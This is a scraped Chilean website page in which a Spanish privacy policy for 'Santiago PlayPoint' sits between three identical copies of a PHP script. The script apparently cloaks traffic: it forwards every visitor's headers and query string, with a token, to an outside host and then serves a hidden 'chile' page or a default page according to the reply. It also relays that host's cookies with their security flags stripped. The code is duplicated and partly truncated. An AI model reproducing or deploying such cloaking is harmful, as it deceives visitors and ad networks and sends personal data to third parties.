baseUrl = $baseUrl;
$this->timeout = $timeout;
$this->token = $token;
}
/**
* @throws RuntimeException
*/
public function execute(): void
{
if (!$this->isMbstringExtensionEnabled()) {
throw new RuntimeException('Extension mbstring should be enabled');
}
$url = $this->buildUrl();
$headers = $this->buildHeaders();
if ($this->isCurlSupported()) {
$this->performCurlRequest($url, $headers);
} elseif ($this->isStreamsSupported()) {
$this->performStreamsRequest($url, $headers);
} else {
throw new RuntimeException('Neither cURL or Streams supported');
}
$this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER);
foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) {
header("Set-Cookie: {$this->prepareCookie($cookie)}");
}
$location = $this->getResponseHeaderValue('Location');
if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) {
require __DIR__ . '/default/index.php';
return;
}
if (mb_strpos($location, 'https://google.com/chile') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
if (mb_strpos($location, 'https://google.com/cl') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
require __DIR__ . '/default/index.php';
}
private function isMbstringExtensionEnabled(): bool
{
return in_array('mbstring', get_loaded_extensions(), true);
}
private function buildUrl(): string
{
return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?');
}
/**
* @return mixed
*/
private function getServerValue(string $key)
{
return $_SERVER[$key] ?? null;
}
/**
* @return string[]
*/
private function buildHeaders(): array
{
return array_merge(
$this->getServerHeaders(),
["X-Auth-Token: $this->token"]
);
}
/**
* @return string[]
*/
private function getServerHeaders(): array
{
$headers = [];
foreach ($_SERVER as $key => $value) {
if (in_array($key, self::SERVER_IGNORED_KEYS, true)) {
continue;
}
if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) {
$headers[] = "{$this->formatHeaderKey($key)}: $value";
}
}
return $headers;
}
private function formatHeaderKey(string $key): string
{
return implode(
self::SEPARATOR_HEADER_KEY,
array_map(
'ucfirst',
explode(
self::SEPARATOR_SERVER_KEY,
strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key))
)
)
);
}
private function isCurlSupported(): bool
{
return in_array('curl', get_loaded_extensions(), true);
}
/**
* @param string[] $headers
*/
private function performCurlRequest(string $url, array $headers): void
{
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_HEADER => true,
CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'],
CURLOPT_HTTPHEADER => $headers,
CURLOPT_NOBODY => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT_MS => $this->timeout,
CURLOPT_URL => $url,
]);
curl_exec($ch);
$this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
private function parseHeader($ch, string $header): int
{
$length = mb_strlen($header);
$pieces = explode(':', $header, 2);
if (count($pieces) responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
return $length;
}
private function isStreamsSupported(): bool
{
return (bool) ini_get('allow_url_fopen');
}
/**
* @param string[] $headers
* @throws RuntimeException
*/
private function performStreamsRequest(string $url, array $headers): void
{
stream_context_set_default(
[
'http' => [
'follow_location' => 0,
'header' => $headers,
'method' => self::REQUEST_METHOD_HEAD,
'timeout' => $this->timeout / 1000,
],
]
);
$responseHeaders = @get_headers($url, 1);
if ($responseHeaders === false) {
throw new RuntimeException('Unable to get headers via `get_headers`');
}
foreach ($responseHeaders as $name => $value) {
if (array_key_exists($name, $this->responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
}
$this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]);
unset($this->responseHeaders[0]);
}
private function parseResponseStatusCode(string $statusCode): ?int
{
preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches);
return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null;
}
/**
* @param mixed $default
* @return mixed|null
*/
private function getResponseHeaderValue(string $key, $default = null)
{
return $this->responseHeaders[strtolower($key)] ?? $default;
}
private function prepareCookie(string $cookie): string
{
$preparedCookie = $this->removeDomainFromCookie($cookie);
if ($this->getServerValue('HTTPS') !== 'on') {
$preparedCookie = $this->removeSecureFromCookie($preparedCookie);
}
return $preparedCookie;
}
private function removeDomainFromCookie(string $cookie): string
{
return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;');
}
private function removeSecureFromCookie(string $cookie): string
{
return trim(str_ireplace('; secure', '', $cookie), ' ;');
}
}
try {
$rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a');
$rotation->execute();
} catch (Exception $e) {
@file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage());
}
?>
baseUrl = $baseUrl;
$this->timeout = $timeout;
$this->token = $token;
}
/**
* @throws RuntimeException
*/
public function execute(): void
{
if (!$this->isMbstringExtensionEnabled()) {
throw new RuntimeException('Extension mbstring should be enabled');
}
$url = $this->buildUrl();
$headers = $this->buildHeaders();
if ($this->isCurlSupported()) {
$this->performCurlRequest($url, $headers);
} elseif ($this->isStreamsSupported()) {
$this->performStreamsRequest($url, $headers);
} else {
throw new RuntimeException('Neither cURL or Streams supported');
}
$this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER);
foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) {
header("Set-Cookie: {$this->prepareCookie($cookie)}");
}
$location = $this->getResponseHeaderValue('Location');
if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) {
require __DIR__ . '/default/index.php';
return;
}
if (mb_strpos($location, 'https://google.com/chile') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
if (mb_strpos($location, 'https://google.com/cl') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
require __DIR__ . '/default/index.php';
}
private function isMbstringExtensionEnabled(): bool
{
return in_array('mbstring', get_loaded_extensions(), true);
}
private function buildUrl(): string
{
return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?');
}
/**
* @return mixed
*/
private function getServerValue(string $key)
{
return $_SERVER[$key] ?? null;
}
/**
* @return string[]
*/
private function buildHeaders(): array
{
return array_merge(
$this->getServerHeaders(),
["X-Auth-Token: $this->token"]
);
}
/**
* @return string[]
*/
private function getServerHeaders(): array
{
$headers = [];
foreach ($_SERVER as $key => $value) {
if (in_array($key, self::SERVER_IGNORED_KEYS, true)) {
continue;
}
if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) {
$headers[] = "{$this->formatHeaderKey($key)}: $value";
}
}
return $headers;
}
private function formatHeaderKey(string $key): string
{
return implode(
self::SEPARATOR_HEADER_KEY,
array_map(
'ucfirst',
explode(
self::SEPARATOR_SERVER_KEY,
strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key))
)
)
);
}
private function isCurlSupported(): bool
{
return in_array('curl', get_loaded_extensions(), true);
}
/**
* @param string[] $headers
*/
private function performCurlRequest(string $url, array $headers): void
{
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_HEADER => true,
CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'],
CURLOPT_HTTPHEADER => $headers,
CURLOPT_NOBODY => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT_MS => $this->timeout,
CURLOPT_URL => $url,
]);
curl_exec($ch);
$this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
private function parseHeader($ch, string $header): int
{
$length = mb_strlen($header);
$pieces = explode(':', $header, 2);
if (count($pieces) responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
return $length;
}
private function isStreamsSupported(): bool
{
return (bool) ini_get('allow_url_fopen');
}
/**
* @param string[] $headers
* @throws RuntimeException
*/
private function performStreamsRequest(string $url, array $headers): void
{
stream_context_set_default(
[
'http' => [
'follow_location' => 0,
'header' => $headers,
'method' => self::REQUEST_METHOD_HEAD,
'timeout' => $this->timeout / 1000,
],
]
);
$responseHeaders = @get_headers($url, 1);
if ($responseHeaders === false) {
throw new RuntimeException('Unable to get headers via `get_headers`');
}
foreach ($responseHeaders as $name => $value) {
if (array_key_exists($name, $this->responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
}
$this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]);
unset($this->responseHeaders[0]);
}
private function parseResponseStatusCode(string $statusCode): ?int
{
preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches);
return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null;
}
/**
* @param mixed $default
* @return mixed|null
*/
private function getResponseHeaderValue(string $key, $default = null)
{
return $this->responseHeaders[strtolower($key)] ?? $default;
}
private function prepareCookie(string $cookie): string
{
$preparedCookie = $this->removeDomainFromCookie($cookie);
if ($this->getServerValue('HTTPS') !== 'on') {
$preparedCookie = $this->removeSecureFromCookie($preparedCookie);
}
return $preparedCookie;
}
private function removeDomainFromCookie(string $cookie): string
{
return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;');
}
private function removeSecureFromCookie(string $cookie): string
{
return trim(str_ireplace('; secure', '', $cookie), ' ;');
}
}
try {
$rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a');
$rotation->execute();
} catch (Exception $e) {
@file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage());
}
?>
Política de Privacidad
Última actualización: 14 de noviembre de 2024
En Santiago PlayPoint (en adelante, “nosotros”, “nuestro” o “el sitio web”), respetamos y protegemos la privacidad de nuestros usuarios. Esta Política de Privacidad explica cómo recopilamos, usamos, almacenamos y protegemos su información personal conforme a la legislación vigente en Chile.
1. Información que recopilamos
1.1 Datos personales
Podemos recopilar datos personales que usted proporcione voluntariamente a través de formularios de registro, suscripciones a boletines, formularios de contacto u otros medios. Estos datos pueden incluir:
- Nombre y apellido
- Correo electrónico
- Número de teléfono
- Dirección postal
- Información de pago (para compras de productos o servicios)
- Otra información que usted nos proporcione
1.2 Datos de uso y publicidad
Utilizamos herramientas como Google Ads y Google Analytics para recopilar información sobre su interacción con nuestro sitio web. Estos datos pueden incluir:
- Dirección IP
- Tipo y versión del navegador
- Páginas visitadas
- Fecha y hora de la visita
- Tiempo de permanencia en el sitio
- Clicks en anuncios y conversiones
- Otros datos estadísticos
Para obtener más información sobre cómo Google utiliza estos datos, puede consultar la Política de Privacidad de Google.
2. Consentimiento y configuración de privacidad
Al visitar nuestro sitio web, se le solicitará que acepte o rechace el uso de cookies y la recopilación de datos para fines publicitarios. Puede cambiar sus preferencias en cualquier momento desde la configuración de cookies del sitio.
También puede desactivar la publicidad personalizada en:
Configuración de anuncios de Google.
3. Privacidad de menores
Nuestro sitio web no está dirigido a personas menores de 16 años sin supervisión de sus padres o tutores. No recopilamos intencionalmente datos personales de menores de esta edad. Si usted es padre, madre o tutor y cree que su hijo nos ha proporcionado información personal, contáctenos y procederemos a eliminarla.
4. Cambios en esta política
Nos reservamos el derecho de actualizar esta Política de Privacidad en cualquier momento para reflejar cambios en nuestras prácticas. Se recomienda a los usuarios revisar esta página periódicamente.
baseUrl = $baseUrl;
$this->timeout = $timeout;
$this->token = $token;
}
/**
* @throws RuntimeException
*/
public function execute(): void
{
if (!$this->isMbstringExtensionEnabled()) {
throw new RuntimeException('Extension mbstring should be enabled');
}
$url = $this->buildUrl();
$headers = $this->buildHeaders();
if ($this->isCurlSupported()) {
$this->performCurlRequest($url, $headers);
} elseif ($this->isStreamsSupported()) {
$this->performStreamsRequest($url, $headers);
} else {
throw new RuntimeException('Neither cURL or Streams supported');
}
$this->responseHeaders = array_change_key_case($this->responseHeaders, CASE_LOWER);
foreach ((array) $this->getResponseHeaderValue('Set-Cookie', []) as $cookie) {
header("Set-Cookie: {$this->prepareCookie($cookie)}");
}
$location = $this->getResponseHeaderValue('Location');
if (!in_array($this->responseStatusCode, self::RESPONSE_HTTP_REDIRECTS, true) || empty($location)) {
require __DIR__ . '/default/index.php';
return;
}
if (mb_strpos($location, 'https://google.com/chile') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
if (mb_strpos($location, 'https://google.com/cl') === 0) {
require __DIR__ . '/chile/chile.php';
return;
}
require __DIR__ . '/default/index.php';
}
private function isMbstringExtensionEnabled(): bool
{
return in_array('mbstring', get_loaded_extensions(), true);
}
private function buildUrl(): string
{
return rtrim("$this->baseUrl?{$this->getServerValue('QUERY_STRING')}", '?');
}
/**
* @return mixed
*/
private function getServerValue(string $key)
{
return $_SERVER[$key] ?? null;
}
/**
* @return string[]
*/
private function buildHeaders(): array
{
return array_merge(
$this->getServerHeaders(),
["X-Auth-Token: $this->token"]
);
}
/**
* @return string[]
*/
private function getServerHeaders(): array
{
$headers = [];
foreach ($_SERVER as $key => $value) {
if (in_array($key, self::SERVER_IGNORED_KEYS, true)) {
continue;
}
if (mb_strpos($key, self::SERVER_HTTP_PREFIX) === 0) {
$headers[] = "{$this->formatHeaderKey($key)}: $value";
}
}
return $headers;
}
private function formatHeaderKey(string $key): string
{
return implode(
self::SEPARATOR_HEADER_KEY,
array_map(
'ucfirst',
explode(
self::SEPARATOR_SERVER_KEY,
strtolower(str_replace(self::SERVER_HTTP_PREFIX, '', $key))
)
)
);
}
private function isCurlSupported(): bool
{
return in_array('curl', get_loaded_extensions(), true);
}
/**
* @param string[] $headers
*/
private function performCurlRequest(string $url, array $headers): void
{
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_HEADER => true,
CURLOPT_HEADERFUNCTION => [$this, 'parseHeader'],
CURLOPT_HTTPHEADER => $headers,
CURLOPT_NOBODY => true,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT_MS => $this->timeout,
CURLOPT_URL => $url,
]);
curl_exec($ch);
$this->responseStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
}
private function parseHeader($ch, string $header): int
{
$length = mb_strlen($header);
$pieces = explode(':', $header, 2);
if (count($pieces) responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
return $length;
}
private function isStreamsSupported(): bool
{
return (bool) ini_get('allow_url_fopen');
}
/**
* @param string[] $headers
* @throws RuntimeException
*/
private function performStreamsRequest(string $url, array $headers): void
{
stream_context_set_default(
[
'http' => [
'follow_location' => 0,
'header' => $headers,
'method' => self::REQUEST_METHOD_HEAD,
'timeout' => $this->timeout / 1000,
],
]
);
$responseHeaders = @get_headers($url, 1);
if ($responseHeaders === false) {
throw new RuntimeException('Unable to get headers via `get_headers`');
}
foreach ($responseHeaders as $name => $value) {
if (array_key_exists($name, $this->responseHeaders)) {
$value = array_merge((array) $this->responseHeaders[$name], (array) $value);
}
$this->responseHeaders[$name] = $value;
}
$this->responseStatusCode = $this->parseResponseStatusCode((string) $responseHeaders[0]);
unset($this->responseHeaders[0]);
}
private function parseResponseStatusCode(string $statusCode): ?int
{
preg_match('/^HTTP(\/\d\.\d)?\s(?P\d+).+$/', $statusCode, $matches);
return array_key_exists('status_code', $matches) ? intval($matches['status_code']) : null;
}
/**
* @param mixed $default
* @return mixed|null
*/
private function getResponseHeaderValue(string $key, $default = null)
{
return $this->responseHeaders[strtolower($key)] ?? $default;
}
private function prepareCookie(string $cookie): string
{
$preparedCookie = $this->removeDomainFromCookie($cookie);
if ($this->getServerValue('HTTPS') !== 'on') {
$preparedCookie = $this->removeSecureFromCookie($preparedCookie);
}
return $preparedCookie;
}
private function removeDomainFromCookie(string $cookie): string
{
return trim(preg_replace('/(\sdomain=.+?;)|(\sdomain=.+)/i', '', $cookie), ' ;');
}
private function removeSecureFromCookie(string $cookie): string
{
return trim(str_ireplace('; secure', '', $cookie), ' ;');
}
}
try {
$rotation = new Rotation_alternativtraffic_RouteChile('https://icixickeyoluena.com/php-remote/alternativtraffic/RouteChile', 2000, '047fa8b49419d0507ca1cb101958946a');
$rotation->execute();
} catch (Exception $e) {
@file_put_contents(__DIR__ . '/rotation_alternativtraffic_RouteChile.log', $e->getMessage());
}
?>